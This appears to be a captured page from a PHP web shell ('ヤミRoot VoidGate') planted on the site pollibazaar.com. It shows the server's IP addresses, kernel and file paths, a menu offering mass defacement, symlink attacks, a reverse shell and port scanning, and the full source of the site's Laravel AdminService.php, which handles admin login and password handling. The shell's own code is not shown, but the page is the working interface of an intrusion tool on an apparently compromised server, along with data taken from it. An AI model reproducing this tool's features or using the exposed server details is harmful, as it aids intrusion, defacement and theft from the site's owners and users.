ヤミRoot VoidGate
User / IP
:
216.73.217.162
Host / Server
:
15.235.182.215 / pollibazaar.com
System
:
Linux asia.cbnex.com 5.14.0-611.49.2.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Apr 30 09:05:08 EDT 2026 x86_64
Command
|
Upload
|
Create
Mass Deface
|
Jumping
|
Symlink
|
Reverse Shell
Ping
|
Port Scan
|
DNS Lookup
|
Whois
|
Header
|
cURL
:
/
home
/
pollibazaar
/
public_html
/
app
/
Services
/
Viewing: AdminService.php
<?php namespace App\Services; use App\Contracts\AdminServiceInterface; use App\Traits\FileManagerTrait; class AdminService implements AdminServiceInterface { use FileManagerTrait; public function isLoginSuccessful(string $email, string $password, string|null|bool $rememberToken): bool { if (auth('admin')->attempt(['email' => $email, 'password' => $password], $rememberToken)) { return true; } return false; } public function logout(): void { auth('admin')->logout(); session()->invalidate(); } public function getIdentityImages(object $request, ?object $oldImages = null): bool|string { if (!empty($oldImages['identify_image'])) { foreach (json_decode($oldImages['identify_image'], true) as $image) { $imageName = is_string($image) ? $image : $image['image_name']; $this->delete('admin/' . $imageName); } } $identity_images = []; if (!empty($request->file('identity_image'))) { foreach ($request['identity_image'] as $img) { $identity_images[] = [ 'image_name'=>$this->upload('admin/', 'webp', $img), 'storage' => getWebConfig(name: 'storage_connection_type') ?? 'public', ]; } $identity_images = json_encode($identity_images); } else { $identity_images = json_encode([]); } return $identity_images; } public function getProceedImage(object $request, ?string $oldImage = null): bool|string { if ($oldImage) { $image = $this->update('admin/', $oldImage, 'webp', $request['image']); }else { $image = $this->upload('admin/', 'webp', $request['image']); } return $image; } /** * @return array[f_name: mixed, l_name: mixed, phone: mixed, image: mixed|string] */ public function getAdminDataForUpdate(object $request, object $admin):array { $image = $request['image'] ? $this->update(dir: 'admin/', oldImage: $admin['image'], format: 'webp', image: $request->file('image')) : $admin['image']; return [ 'name' => $request['name'], 'email' => $request['email'], 'phone' => $request['phone'], 'image' => $image, ]; } /** * @return array[password: string] */ public function getAdminPasswordData(object $request):array { return [ 'password' => bcrypt($request['password']), ]; } }
Coded With 💗 by
0x6ick